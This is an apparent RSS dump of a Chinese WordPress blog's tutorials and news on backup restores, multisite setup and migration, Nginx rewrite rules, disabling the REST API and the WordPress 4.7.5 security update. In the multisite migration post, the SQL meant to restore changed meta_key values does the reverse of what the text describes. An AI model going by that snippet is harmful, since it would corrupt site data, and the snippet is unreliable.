要完整恢复或迁移,您需要下载并将importbuddy.php文件和完整备份zip文件上传到您的服务器。请访问您的Web浏览器中的importbuddy.php。 它在您的网站的根目录中,因此其URL将类似于:

http://www.example.com/importbuddy.php

ImportBuddy现在将要求您下载ImportBuddy时创建的密码。

在下一个屏幕上,ImportBuddy将显示您上传的备份文件。 如果您没有使用FTP上传备份文件,则可以单击上传选项卡以立即上传备份文件。 选择数据后,单击下一步继续。

ImportBuddy将解压缩您的备份文件,并在提取文件时显示成功消息。 点击下一步按钮继续。 在下一个屏幕上,ImportBuddy将要求您提供站点数据库信息。(如果数据库中已经有数据,还需要选中清除数据) 然后点击下一步。

在下一个屏幕上,ImportBuddy将要求您提供站点URL。 如果您从一个域移动到另一个域,或将本地服务器站点移动到实际站点,则需要更新站点URL。 如果您只是恢复WordPress网站,那么它将被设置为使用您当前的URL。

完成后测试没有问题就需要删除临时文件。

如何通过BackupBuddy保持您的WordPress内容安全,首发于蓝月网络

]]>
WordPress 4.7.5 修复6个安全问题,请及时更新 https://lanyueer.com/wordpress-4-7-5/ Thu, 18 May 2017 10:53:42 +0000 http://lanyueer.com/?p=907 WordPress 4.7.5 已发布,修复了六个安全问题。如果你的WordPress站点允许自动更新的话,应…

WordPress 4.7.5 修复6个安全问题,请及时更新,首发于蓝月网络

]]>
WordPress 4.7.5 已发布,修复了六个安全问题。如果你的WordPress站点允许自动更新的话,应该已经收到已更新的邮件通知了。或者你登录后台应该可以看到有更新信息。

WordPress 4.7.5 修复的安全问题如下:

修复 HTTP 类中存在的重定向问题
修复 XML-RPC API 中对文章元数据值处理不当的问题
修复 XML-RPC API 没有对操作文章元数据进行能力检查的问题
修复在文件系统凭据对话框中发现了跨站点请求伪造(CRSF)漏洞
修复上传大文件时存在的跨站点脚本(XSS)漏洞
修复外观 – 自定义功能存在的跨站点脚本(XSS)漏洞
此次修复的6个安全问题涉及到之前的所有 WordPress 版本,建议大家更新自己的网站到最新版本。

WordPress 4.7.5 下载地址:https://wordpress.org/wordpress-4.7.5.zip

WordPress 4.7.5 修复6个安全问题,请及时更新,首发于蓝月网络

]]>
如何把WordPress数据迁移至WordPress MU https://lanyueer.com/wordpress-to-wordpress-mu/ Thu, 18 May 2017 03:13:59 +0000 http://lanyueer.com/?p=905 本文是《WordPress 多站点》系列教程的第 8 部分,该系列共包含以下8个部分:在MU中最原始的站点数据…

如何把WordPress数据迁移至WordPress MU,首发于蓝月网络

]]>
本文是《WordPress 多站点》系列教程的第 8 部分,该系列共包含以下8个部分:

在MU中最原始的站点数据是不需要改动,只需要转移新添加的站点文件和数据,而这个转移的过程并不是很轻松。

WordPress的数据包括程序文件和数据库,所以转移的过程也分为两部分:

首先,我们来了解一下新创建的站点文件夹和数据表结构,在Wordpress中新建的数据库表前缀是:“wp_”的形式,而MU创建的第二个站点数据库表前缀是:“wp_2_”(2是新站点的ID)的形式;而MU创建新站点时会在主站的uploads文件夹下创建sites文件夹,再根据ID(假如ID为2)会在sites文件夹下再创建数字“2”这个文件夹,这样我们就明白数据该如何转移了。

一、程序文件的转移

转移的目标:主题和uploads文件夹下的所有文件

1、主题,我们可以在“管理网络”中的“主题”中直接安装,也可以在主机上拷贝到主站的themes文件夹下,然后在管理网络——外观——主题,点击“开放给整个站点网络使用”,这时我们就可以返回到新站点中进行启用该主题。

2、文件,把uploads文件夹下的所有文件都转移到“2”这个文件夹下即可。

二、数据库的转移

也许我们会想到用WP自身的导入与导出工具,把所有文章全部导出,再导入到新的站点,如果文章多,导出的XML文件好几M,导入的时候会耗费太长的时间,那就让人头痛了。所以我们推荐大家把原数据库导出,然后导入到新的站点。

1、导出原博客中的数据

打开 phpMyAdmin,导出原博客中的数据为.sql文件,数据表如下:

wp_commentmeta
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_terms
wp_term_relationships
wp_term_taxonomy
wp_usermeta
wp_users

a、用文本编辑器打开导出的 .sql 文件,使用全局替换功能将其中的”wp_”替换为”wp_2_”(2为新站点的ID,如果ID是3,就写成wp_3_),替换并保存;

b、再将“wp-content/uploads”全局替换为“wp-content/uploads/sites/2”,把媒体文件的路径修改成网络路径。

2、导入修改好的数据库到MU数据库中

现在打开新站点的phpMyAdmin,找到MU数据库,你会发现数据库中有“wp_”和“wp_2_”两个表前缀的数据库,把前缀为“wp_2_”所有的数据删除或重命名,然后导入刚才修改过的 .sql 文件。

3、修正“siteurl”与“home”中的地址(在没有绑定原域名之前)

在MU新创建的站点,域名是newname.Domainname.com这样的二级域名,我们需要把原域名修改成MU中新添加的二级域名,打开wp_options数据表,找到名称为“siteurl”与“home”两个数据,修改其中的值即可。

有些朋友在使用的过程中发现使用原博客中的wp_options数据会出现问题,如果有问题就不导出原博客中的wp_options数据,使用新站点wp_options数据,然后再设置下新站点。

在后面我们会讲到如果绑定域名,如果绑定了原域名而且使用原博客中的wp_options数据,我们就不需要修改这一步了!

4、修正文章作者

因为修改过的数据库表前缀为“wp_2_”,与之前的是不一样,所以我们需要在MU中把新站点中所有的文章作者指定给MU管理员,可以在phpMyAdmin中的SQL中执行以下代码:

  1. UPDATE wp_2_posts SET post_author = 1

如果新站点的有多个作者,那只有在后台——文章列表中选择同一作者的文章进行批量修改了。

5、修正数据库中的meta_key

我们在前面修改表前缀是全局替换,我们也把一些不需要修改成“wp_2_”这样的数据给修改好,如数据库表 wp_2_postmeta 和 wp_2_usermeta 中的一些meta_key,基本上是以“_wp_”这样的数据表,所以我们需要在替换完成后将其改回原来的值,仍以博客 ID 为2作为例子,在 MU 的数据库中使用下面的 SQL 语句进行修正:

  1. UPDATE wp_2_postmeta SET meta_key = '_wp_2_attachment_metadata' WHERE meta_key = '_wp_attachment_metadata'
  2. UPDATE wp_2_usermeta SET meta_key = '_wp_2_attached_file' WHERE meta_key = '_wp_attached_file'

可能不止这两处地方,根据实际情况再修改回来。

到这里文件与数据的转移基本完成,前往“管理网络”后台中将插件与主题启用,新的站点就可以使用了。

如何把WordPress数据迁移至WordPress MU,首发于蓝月网络

]]>
WordPress MU多站点网络域名绑定插件Domain Mapping的安装与使用 https://lanyueer.com/wordpress-mu-domain-mapping/ Thu, 18 May 2017 03:06:24 +0000 http://lanyueer.com/?p=900 本文是《WordPress 多站点》系列教程的第 7 部分,该系列共包含以下8个部分:WordPress可以为…

WordPress MU多站点网络域名绑定插件Domain Mapping的安装与使用,首发于蓝月网络

]]>
本文是《WordPress 多站点》系列教程的第 7 部分,该系列共包含以下8个部分:

WordPress可以为每个站点绑定不同的域名,这时我们就需要使用WordPress MUDomain Mapping插件来为MU不同的站点绑定不同的域名。

在绑定域名之前我们需要把绑定的域名DNS服务器设置A记录,IP为WordPress MU的服务器IP,如果几个站点都是在同一主机下就略过。

插件的使用步骤如下:
一、在“管理网络”下的插件管理器中搜索并安装WordPress MUDomain Mapping插件,再点击“在整个网络中启用”。二、把插件目录下的sunrise.php文件移动到wp-content文件夹下

三、编辑 wp­config.php 文件,在最后一行 ‘require_once’ 前面添加如下代码:

  1. define( 'SUNRISE', 'on');

最终代码为:

  1. /** 设置 WordPress 变量和包含文件。 */
  2. define( 'SUNRISE', 'on');
  3. require_once(ABSPATH . 'wp-settings.php');

刷新后出现WordPress MUDomain Mapping面板的内容,提示Domain Mapping数据表创建成功,接下来我们就可以设置IP和添加域名了。

四、在“管理网络”中的设置菜单 下有Domain Mapping和Domains 两个菜单。

1、首页在 Domain Mapping中可以设置IP和CNAME,IP 就是你的 WordPress MU安装的空间IP,也就是当前主域名指向的 IP。CNAME设置可选,Domain Options几个选项可根据情况设置,默认也可以。

2、进入Domains菜单中,如下图,分别输入 Site ID 和 Domain,然后保存。保存后新添加的域名会在页面下方列出来,可以再进行编辑和删除。

在新添加域名的站点下“工具——Domain Mapping”会出现上一步设置的域名,当然你也可以在新站点添加域名,效果和上一步类似。五、最后修改新站点的地址,依然在“管理网络”中,找到站点——所有站点,点击需要编辑的站点,如下图:

把域名更改为绑定的域名,其它设置默认,保存更改。

WordPress MU多站点网络域名绑定插件Domain Mapping的安装与使用,首发于蓝月网络

]]>
WordPress多站点网络插件和主题检测:Network Plugin Auditor https://lanyueer.com/wordpress-network-plugin-auditor/ Thu, 18 May 2017 02:43:29 +0000 http://lanyueer.com/?p=895 本文是《WordPress 多站点》系列教程的第 6 部分,该系列共包含以下8个部分:对于WordPress多…

WordPress多站点网络插件和主题检测:Network Plugin Auditor,首发于蓝月网络

]]>
本文是《WordPress 多站点》系列教程的第 6 部分,该系列共包含以下8个部分:

对于WordPress多站点网络,你可能需要了解哪个站点使用了什么主题和插件,建议你试试Network Plugin Auditor插件。

Network Plugin Auditor 专用于多站点模式下,会在你的主题和插件管理界面,显示它们都被哪些站点使用。这样一来,你就可以很快了解,并且不会误删正在使用的主题或插件。

在后台插件安装界面搜索 Network Plugin Auditor 即可现在安装,或者下载 Network Plugin Auditor:

下载 Network Plugin Auditor

WordPress多站点网络插件和主题检测:Network Plugin Auditor,首发于蓝月网络

]]>
WordPress 关闭多站点模式 https://lanyueer.com/uninstall-wordpress-multisite/ Thu, 18 May 2017 02:38:14 +0000 http://lanyueer.com/?p=894 本文是《WordPress 多站点》系列教程的第 5 部分,该系列共包含以下8个部分:开始之前,你要备份整个数…

WordPress 关闭多站点模式,首发于蓝月网络

]]>
本文是《WordPress 多站点》系列教程的第 5 部分,该系列共包含以下8个部分:

开始之前,你要备份整个数据库和所有文件,然后想办法将主站点以外的所有站点的恢复到其他地方,或者分别转到单站点模式。在这里暂时不介绍这个步骤,但是你一定要自己做好!!建议先阅读 WordPress 开启多站点(含Apache和Nginx伪静态规则),因为很多步骤都是反过来的。

1、禁用所有插件,删除主站点以外的所有站点(记得备份或迁移这些站点,删除操作将会删除相关的数据)

2、删除之前添加到 wp-config.php 用来开启多站点的配置代码(类似以下代码:)

  1. define('WP_ALLOW_MULTISITE', true);
  2.  
  3. define('MULTISITE', true);
  4. define('SUBDOMAIN_INSTALL', true);
  5. define('DOMAIN_CURRENT_SITE', 'yourdomain.com');
  6. define('PATH_CURRENT_SITE', '/');
  7. define('SITE_ID_CURRENT_SITE', 1);
  8. define('BLOG_ID_CURRENT_SITE', 1);

这时登录后台你会发现已经回到了单站点模式

3、清除多站点的伪静态规则:如果是Apache环境,请删除之前添加到 .htaccess 的规则代码;如果是 Nginx环境,请删除添加conf配置文件的代码。具体的请查看之前的 WordPress 开启多站点(含Apache和Nginx伪静态规则) 。访问网站后台,重新设置固定链接结构。

4.开启所需插件,到这里应该可以恢复主站点的正常访问了。但还是建议 登录 phpMyAdmin 删除多余的数据库表:

wp_blogs
wp_blog_versions
wp_registration_log
wp_signups
wp_site
wp_sitemeta
以及 wp_users 下的 spam 和 deleted 字段

注:这里举例的是默认的数据库前缀 wp_ ,请根据自己的实际数据库前缀操作。

删除前面6个数据库很简单,直接选中,然后删除即可:

不会操作 phpMyAdmin 的,请先百度下 phpMyAdmin教程。

删除 wp_users 下的 spam 和 deleted 字段,需要进入到 wp_users,然后执行 SQL 命令。

删除 spam 字段:

  1. ALTER TABLE wp_users 
  2. DROP COLUMN spam

删除 deleted 字段:

  1. ALTER TABLE wp_users 
  2. DROP COLUMN deleted

关于删除或添加某个数据库表的字段,可参考 http://www.w3school.com.cn/sql/sql_alter.asp

到这里,一切操作OK!

WordPress 关闭多站点模式,首发于蓝月网络

]]>
WordPress 多站点网络共享图片媒体文件 https://lanyueer.com/network-shared-media/ Thu, 18 May 2017 02:32:54 +0000 http://lanyueer.com/?p=892 本文是《WordPress 多站点》系列教程的第 4 部分,该系列共包含以下8个部分:说到底,其实多站点网络下…

WordPress 多站点网络共享图片媒体文件,首发于蓝月网络

]]>
本文是《WordPress 多站点》系列教程的第 4 部分,该系列共包含以下8个部分:

说到底,其实多站点网络下的这些站点都是相对独立的,可以有自己的分类、文章、主题、插件、媒体库等等,正因为如此,默认情况下,一个站点只能看到上传到该站点的文件,你是没办法直接在媒体库中看到和使用其他站点的文件的(当然,如果你直接通过外部链接添加文件,那就另当别论了),那么如何才能在多站点模式下共享其他站点的文件呢,这个就需要借助 Network Shared Media 插件啦。

安装启用 Network Shared Media 插件以后,在多媒体的上传插入页面,你可以看到多出了“Network Shared Media”标签,然后就可以选择任何一个站点的文件了:


在后台插件安装界面搜索 Network Shared Media 即可在线安装,或者在下面下载:

下载 Network Shared Media

WordPress 多站点网络共享图片媒体文件,首发于蓝月网络

]]>
WordPress 多站点网络克隆网站数据和设置 https://lanyueer.com/multisite-cloner/ Thu, 18 May 2017 02:26:53 +0000 http://lanyueer.com/?p=889 本文是《WordPress 多站点》系列教程的第 3 部分,该系列共包含以下8个部分:现在,很多主题作者都是用…

WordPress 多站点网络克隆网站数据和设置,首发于蓝月网络

]]>
本文是《WordPress 多站点》系列教程的第 3 部分,该系列共包含以下8个部分:

现在,很多主题作者都是用 WordPress 多站点网络来做主题演示站,那就遇到一个数据部署的问题,每次都要重新设置一些基本的选项,导入文章和附件等等,实在是麻烦。今天推荐一个专门解决这个问题的插件 Multisite Cloner ,它可以很方便地将网络中任何一个站点的设置和数据都克隆到另外一个站点,包括设置、文章和其他内容、主题选项和上传的文件等等。

在网络中安装启用 Multisite Cloner 插件以后,在设置界面选择一个站点作为默认站点:

然后在站点列表中,点击站点下的 Clone 即可:

在插件安装界面搜索 Multisite Cloner 即可在线安装,或者在这里下载 Multisite Cloner

下载 Multisite Cloner

WordPress 多站点网络克隆网站数据和设置,首发于蓝月网络

]]>
添加/移除 WordPress 多站点网络的默认页面 https://lanyueer.com/add-remove-default-pages-in-wordpress-multisite/ Thu, 18 May 2017 02:18:53 +0000 http://lanyueer.com/?p=888 本文是《WordPress 多站点》系列教程的第 2 部分,该系列共包含以下8个部分:在 WordPress …

添加/移除 WordPress 多站点网络的默认页面,首发于蓝月网络

]]>
本文是《WordPress 多站点》系列教程的第 2 部分,该系列共包含以下8个部分:

在 WordPress 多站点网络中,只要你新建一个站点,都会自动创建一个默认页面(即“示例页面”)。在某些情况下,这个默认页面不是你想要的,或者说你想修改这个自定义页面的内容,比如引导这个开通站点的用户该做些什么,注意些什么等等。那你可以按照本文教程来实现。

将下面的代码添加在主站点的主题的 functions.php 文件或某个特定插件中:

  1. /**
  2.  * 添加/移除 WordPress 多站点网络的默认页面
  3.  * https://www.wpdaxue.com/add-remove-default-pages-in-wordpress-multisite.html
  4.  */
  5. add_action('wpmu_new_blog', 'wpb_create_my_pages', 10, 2);
  6.  
  7. function wpb_create_my_pages($blog_id, $user_id){
  8.   switch_to_blog($blog_id);
  9.  
  10. // 创建一个新页面
  11.   $page_id = wp_insert_post(array(
  12.     'post_title'     => 'About',
  13.     'post_name'      => 'about',
  14.     'post_content'   => 'This is an about page. Feel free to edit or delete this page.',
  15.     'post_status'    => 'publish',
  16.     'post_author'    => $user_id, // or "1" (super-admin?)
  17.     'post_type'      => 'page',
  18.     'menu_order'     => 1,
  19.     'comment_status' => 'closed',
  20.     'ping_status'    => 'closed',
  21.  ));  
  22.  
  23. // 查找和删除WordPress默认页面'Sample Page'
  24. //如果是简体中文,你可能需要修改'Sample Page'为'示例页面'
  25. $defaultPage = get_page_by_title( 'Sample Page' );
  26. wp_delete_post( $defaultPage->ID );
  27.  
  28.   restore_current_blog();
  29. }

上面的第一段代码是创建了一个标题为“About”,内容为“This is an about page. Feel free to edit or delete this page.”的默认页面;第二段是找到并删除标题为“Sample Page”的默认页面。

添加/移除 WordPress 多站点网络的默认页面,首发于蓝月网络

]]>
WordPress 开启多站点(含Apache和Nginx伪静态规则) https://lanyueer.com/wordpress-multisite/ Wed, 17 May 2017 07:59:14 +0000 http://lanyueer.com/?p=884 本文是《WordPress 多站点》系列教程的第 1 部分,该系列共包含以下8个部分:WordPress 3.…

WordPress 开启多站点(含Apache和Nginx伪静态规则),首发于蓝月网络

]]>
本文是《WordPress 多站点》系列教程的第 1 部分,该系列共包含以下8个部分:

WordPress 3.0以上的版本支持直接开启多站点模式,这样一来,你可以在一个后台切换多个站点进行管理。

最近打算折腾一个主题演示站,给每个主题使用独立的子站点来搭建演示,如果是Apache环境,配置就比较容易,但是笔者使用的是 Nginx,花了大量的时间测试了N多网络上的伪静态规则,最终找到了完美的解决方法。下面就分享下Linux下 Apache 和 Nginx 两种环境开启多站点的方法。Windows系统环境直接靠边站吧。

开启网络配置

在网站根目录下的 wp-config.php 添加:

  1. define('WP_ALLOW_MULTISITE', true);

配置多站点模式

刷新网站后台,访问 工具 > 配置网络,根据自己的需要选择“子域名”或者“子目录”模式,然后点击“安装”。

只有新安装的WordPress,并且绑定了域名,这时候才可以选择“子域名”模式。

如果你选择是的“子域名”,安装后,请将下面的代码添加到网站根目录下的 wp-config.php 下:

  1. define('MULTISITE', true);
  2. define('SUBDOMAIN_INSTALL', true);
  3. define('DOMAIN_CURRENT_SITE', 'yourdomain.com');
  4. define('PATH_CURRENT_SITE', '/');
  5. define('SITE_ID_CURRENT_SITE', 1);
  6. define('BLOG_ID_CURRENT_SITE', 1);

如果选择的是“子目录”,则添加:

  1. define('MULTISITE', true);
  2. define('SUBDOMAIN_INSTALL', false);
  3. define('DOMAIN_CURRENT_SITE', 'yourdomain.com');
  4. define('PATH_CURRENT_SITE', '/');
  5. define('SITE_ID_CURRENT_SITE', 1);
  6. define('BLOG_ID_CURRENT_SITE', 1);

添加伪静态规则

Apache 规则

如果你的服务器使用的是Aache环境,使用下面的代码替换网站根目录下的 .htaccess 里面的所有代码

子域名模式下的规则代码:

  1. RewriteEngine On
  2. RewriteBase /
  3. RewriteRule ^index\.php$ - [L]
  4.  
  5. # add a trailing slash to /wp-admin
  6. RewriteRule ^wp-admin$ wp-admin/ [R=301,L]
  7.  
  8. RewriteCond %{REQUEST_FILENAME} -f [OR]
  9. RewriteCond %{REQUEST_FILENAME} -d
  10. RewriteRule ^ - [L]
  11. RewriteRule ^(wp-(content|admin|includes).*) $1 [L]
  12. RewriteRule ^(.*\.php)$ $1 [L]
  13. RewriteRule . index.php [L]

子目录模式下的规则代码:

  1. RewriteEngine On
  2. RewriteBase /
  3. RewriteRule ^index\.php$ - [L]
  4.  
  5. # add a trailing slash to /wp-admin
  6. RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]
  7.  
  8. RewriteCond %{REQUEST_FILENAME} -f [OR]
  9. RewriteCond %{REQUEST_FILENAME} -d
  10. RewriteRule ^ - [L]
  11. RewriteRule ^([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) $2 [L]
  12. RewriteRule ^([_0-9a-zA-Z-]+/)?(.*\.php)$ $2 [L]
  13. RewriteRule . index.php [L]

Nginx 规则

服务器使用的是 军哥 LNMP 1.3 安装包配置的。

假设你的网站为 yourdomain.com,那么你可以编辑这个配置文件:

  1. vi /usr/local/nginx/conf/vhost/yourdomain.com.conf

在最后一个 } 的前面添加下面的代码:

  1. #ignored: “-” thing used or unknown variable in regex/rew
  2. rewrite ^/([_0-9a-zA-Z-]+/)?wp-admin$ /$1wp-admin/ permanent;
  3. if (-f $request_filename){
  4. 	set $rule_2 1;
  5. }
  6. if (-d $request_filename){
  7. 	set $rule_2 1;
  8. }
  9. if ($rule_2 = "1"){
  10. #ignored: “-” thing used or unknown variable in regex/rew
  11. }
  12. rewrite ^/([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) /$2 last;
  13. rewrite ^/([_0-9a-zA-Z-]+/)?(.*.php)$ /$2 last;
  14. rewrite /. /index.php last;

以上的规则对于 子域名 和 子目录 模式都正常使用,但是,如果你选择的是 子域名 模式,还需要找到:

  1. server_name yourdomain.com;

添加一个泛域名 *.yourdomain.com,如下:

  1. server_name yourdomain.com *.yourdomain.com;

保存文件,然后重启服务器:

  1. /root/lnmp restart

然后在你的域名管理那里添加一条泛域名 *.yourdomain.com 解析到主机IP(或者分别解析你即将要使用的子域名到主机IP),这样一来,创建子域名站点时,就可以正常访问了。

附:以下是 Nginx 下最完整的多站点配置代码,实际使用时,请根据自己的实际修改域名及网站目录,同时建议删除含有中文的行:

  1. # 根据自己的实际修改下面的域名
  2. log_format  yourdomain.com  '$remote_addr - $remote_user [$time_local] "$request" '
  3.              '$status $body_bytes_sent "$http_referer" '
  4.              '"$http_user_agent" $http_x_forwarded_for';
  5. server
  6.         {
  7.                 listen       80;
  8.                 # 根据自己的实际修改下面的域名
  9.                 server_name yourdomain.com *.yourdomain.com;
  10.                 index index.html index.htm index.php default.html default.htm default.php;
  11.                 # 注意修改下面的网站目录
  12.                 root  /mnt/wwwroot/yourdomain.com; 
  13.  
  14.                 #include wordpress.conf;
  15.                 #以下是 lnmp 1.0 的 wordpress.conf 规则,也就是上一行 include wordpress.conf 里面的
  16.                 location / {
  17.                     if (-f $request_filename/index.html){
  18.                         rewrite (.*) $1/index.html break;
  19.                     }
  20.                     if (-f $request_filename/index.php){
  21.                         rewrite (.*) $1/index.php;
  22.                     }
  23.                     if (!-f $request_filename){
  24.                         rewrite (.*) /index.php;
  25.                     }
  26.                 }
  27.                 # wordpress.conf 规则 结束
  28.  
  29.                 location ~ .*\.(php|php5)?$
  30.                         {
  31.                                 try_files $uri =404;
  32.                                 fastcgi_pass  unix:/tmp/php-cgi.sock;
  33.                                 fastcgi_index index.php;
  34.                                 include fcgi.conf;
  35.                         }
  36.  
  37.                 location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$
  38.                         {
  39.                                 expires      30d;
  40.                         }
  41.                 location ~ .*\.(js|css)?$
  42.                         {
  43.                                 expires      12h;
  44.                         }
  45.  
  46.                 access_log  /home/wwwlogs/huchangmeng.com.log  huchangmeng.com;
  47.  
  48.                 #ignored: “-” thing used or unknown variable in regex/rew
  49.                 rewrite ^/([_0-9a-zA-Z-]+/)?wp-admin$ /$1wp-admin/ permanent;
  50.                 if (-f $request_filename){
  51.                     set $rule_2 1;
  52.                 }
  53.                 if (-d $request_filename){
  54.                     set $rule_2 1;
  55.                 }
  56.                 if ($rule_2 = "1"){
  57.                     #ignored: “-” thing used or unknown variable in regex/rew
  58.                 }
  59.                 rewrite ^/([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) /$2 last;
  60.                 rewrite ^/([_0-9a-zA-Z-]+/)?(.*.php)$ /$2 last;
  61.                 rewrite /. /index.php last;
  62.  
  63.         }

修改固定链接结构

主站点

这里说的主站的,默认就是最初安装时的主域名,比如 yourdomain.com

如果是 子域名 模式,你可以直接在这个主站的的 设置 > 固定链接 直接修改即可。

如果是 子目录 模式,主站点的文章都自动在链接中添加了 /blog/,如果你直接在这个子目录站点的 设置 > 固定链接 设置结构,是无法去除 /blog/ 的,而且在 lnmp 环境下,直接修改会自动添加 index.php。

解决办法是,访问 所有站点,点击主站点的编辑:

切换到“设置”标签,找到 Permalink Structure ,在这里直接填写 固定链接结构(比如 /%postname%.html),保存即可。这样就可以去除 /bolg/ ,同时不会添加 index.php,非常完美。

子站点

子站点直接在这个站点的后台 设置 > 固定链接 那里设置即可。

到这里,一切基本的设置都完成啦!

WordPress 开启多站点(含Apache和Nginx伪静态规则),首发于蓝月网络

]]>
WordPress 4.8 将终止对 Internet Explorer 8/9/10 的支持 https://lanyueer.com/wordpress-4-8-will-end-support-for-internet-explorer-versions-8-9-and-10/ Mon, 01 May 2017 14:15:24 +0000 http://lanyueer.com/?p=879 来自WordPress官方消息:Matt Mullenweg 宣布即将推出的 WordPress 4.8 将终…

WordPress 4.8 将终止对 Internet Explorer 8/9/10 的支持,首发于蓝月网络

]]>
20170425074317

来自WordPress官方消息:Matt Mullenweg 宣布即将推出的 WordPress 4.8 将终止对 Internet Explorer 8/9/10 的支持。核心贡献者们在过去的两个月,一直在讨论浏览器支持与新的编辑器的技术要求的关系。

微软早在 2016年1月份就停止了 Internet Explorer 8/9/10 的更新支持,这就意味着这些旧版本的浏览器将无法获得安全等方面的修复,而下一个版本的 TinyMCE 编辑器已被证实不再支持  Internet Explorer 8/9/10。为了长久发展考虑,WordPress官方最终做出了该决定。

这就意味着,开发者们在 WordPress 4.8 及以后的版本中,将不会再针对 Internet Explorer 8/9/10 进行兼容调试了,如果你还在使用这些版本的浏览器,可能在某些功能上无法正常使用(比如下个版本的TinyMCE 编辑器) ,当然,这个一般来说仅对WP后台有比较大的影响,而对于前端浏览器的支持,取决于主题和插件作者,也就是说,你仍旧可以在前端针对旧版本的浏览器去进行兼容开发。

该消息对于国内开发人员,不知是喜还是悲?

WordPress 4.8 将终止对 Internet Explorer 8/9/10 的支持,首发于蓝月网络

]]>
禁止WordPress程序REST API功能且移除wp-json链接 https://lanyueer.com/disable-json-api/ Wed, 26 Apr 2017 10:18:59 +0000 http://lanyueer.com/?p=878 毋庸置疑WordPress算是当前比较好用的PHP程序,基本上个人博客、企业网站,小型商务网站都可以使用到。而…

禁止WordPress程序REST API功能且移除wp-json链接,首发于蓝月网络

]]>
毋庸置疑WordPress算是当前比较好用的PHP程序,基本上个人博客、企业网站,小型商务网站都可以使用到。而且WordPress官方的更新、第三方的插件主题丰富,让这个程序变得越来越丰富多样,但是随着不断的升级功能,也会增加程序的负担和不安全因素。

比如从WordPress4.4开始增加REST API功能, 对于一般的网站是没有需要的,反而会拖累网站的速度,所以我们尽可能的禁止掉这些不必要的功能需求。我们在源代码中可以看到类似的链接字符。

这里将记录下如何解决这个问题的过程,一来需要移除掉这个链接,二来需要禁止REST API功能。

第一、非插件方式

  1. //屏蔽 REST API
  2. add_filter('json_enabled', '__return_false' );
  3. add_filter('json_jsonp_enabled', '__return_false' );
  4. add_filter('rest_enabled', '__return_false');
  5. add_filter('rest_jsonp_enabled', '__return_false');
  6. // 移除头部 wp-json 标签和 HTTP header 中的 link
  7. remove_action('wp_head', 'rest_output_link_wp_head', 10 );
  8. remove_action('template_redirect', 'rest_output_link_header', 11 );

将脚本丢到当前主题的Functions.php文件中。但是,我们会发现链接是去掉了,但是打开wp-josn还是可以看到输出字符。然后再启用到一个插件才可以解决。

第二、disable-json-api插件

插件地址:https://wordpress.org/plugins/disable-json-api/
下载和启动插件之后,可以彻底解决输出字符问题。

禁止WordPress程序REST API功能且移除wp-json链接,首发于蓝月网络

]]>
批量删除WordPress多余缩略图 减少服务器存储空间 https://lanyueer.com/wp-dnui/ Wed, 26 Apr 2017 10:10:30 +0000 http://lanyueer.com/?p=874 如果我们默认安装WordPress之后没有设置媒体图的尺寸,只要我们上传一张图片就会自动剪裁多个尺寸存储在网站…

批量删除WordPress多余缩略图 减少服务器存储空间,首发于蓝月网络

]]>
如果我们默认安装WordPress之后没有设置媒体图的尺寸,只要我们上传一张图片就会自动剪裁多个尺寸存储在网站图片目录中。但是,随着网站内容的增加,我们会发现图片文件夹存储量还是比较大的,无论是转移数据,还是备份网站每次都是一个负担,甚至有些朋友用的虚拟主机是有存储量限制的,所以还是希望尽量的减少存储占用量。

理论上我们可以通过FTP登入服务器,然后检查图片命名,将没有用到的图片进行手动删除,但是这里也有一个问题,因为默认都是按照时间分管的,一个个删除和选择文件夹比较费事,肯定是有插件可以来解决这个问题。这里老蒋找到一个DNUI (Delete Not Used Image)插件,安装插件之后可以看到哪些图片不在使用,然后根据实际的进行一个个删除。

第一、DNUI插件安装

DNUI插件安装

并没有检测到是否适合当前最新版本的WP,但是还是安装试试吧。

第二、DNUI插件使用

老蒋也翻看到其他网友以前关于DNUI插件的文章,看到可以进行批量删除图片,但是我这里在安装之后看到的是只能一个个删除或者全部删除,不可以筛选。

DNUI插件使用

这里我们可以看到会检测到当前不用的图片(在文章中没有用到的图片)我们可以选择删除或者全部一次性删除,这个一次性删除建议谨慎使用,一来如果图片很多会导致加载超时,或者我们担心会不会将有用的图片删除,我们谨慎起见还是一个个删除。

当然,如果我们删除之前进行备份,可以确保万无一失。不过一般不用的图片还是可以看到的,比如后缀有尺寸标识,我们可以一个手工删除掉。

批量删除WordPress多余缩略图 减少服务器存储空间,首发于蓝月网络

]]>
WordPress 4.7.4 维护更新发布 https://lanyueer.com/wordpress-4-7-4/ Mon, 24 Apr 2017 12:39:06 +0000 http://lanyueer.com/?p=870 WordPress 4.7 下载超过6000万次了,WordPress官方正式发布 WordPress 4.7…

WordPress 4.7.4 维护更新发布,首发于蓝月网络

]]>
WordPress 4.7 下载超过6000万次了,WordPress官方正式发布 WordPress 4.7.4 维护更新版,此版本包含了 47 个维护修复和功能增强,其中主要是即将到来的Chrome版本和可视化编辑器之间的不兼容性,媒体处理方面的不一致,以及对REST API的进一步改进。需要了解更多详情,可以查看官方的发行日志更新列表

昨天晚上已经有推送了,如果你的WordPress站点支持自动更新的,相信已经更新了!如果你还没有更新,可以自己登录网站后台 – 仪表盘 – 更新 界面,进行手动点击更新,或者还可以 下载WordPress 4.7.4 通过FTP进行更新。

WordPress 4.7.4 维护更新发布,首发于蓝月网络

]]>
解读域名续费赎回到期时间及域名常见状态含义 https://lanyueer.com/domain-name-common-state-meaning/ Sun, 23 Apr 2017 10:28:32 +0000 http://lanyueer.com/?p=866 第一、常用的域名管理方式 无论我们域名有多少,以及我们选择哪里的主机产品,一定要有一个良好的管理习惯。包括我们…

解读域名续费赎回到期时间及域名常见状态含义,首发于蓝月网络

]]>
第一、常用的域名管理方式

无论我们域名有多少,以及我们选择哪里的主机产品,一定要有一个良好的管理习惯。包括我们电脑本地的文件管理一样。有些用户桌面乱七八糟的,有些管理、分类的有条理。我们的域名、主机管理同样需要如此。

1、我们在域名注册商需要设置自己常用的邮箱,一般域名在到期前会通知我们续费或者有一些状态信息也会发送给我们。这里需要注意一个问题,我们很多网友会被一些钓鱼邮件泄露账户信息,这里我们在查看邮件之前一定要仔细辨别。

2、我们采用EXCEL表格管理域名,分域名注册商、到期时间等分类,这样可以定期检查域名的到期时间和是否需要续费。

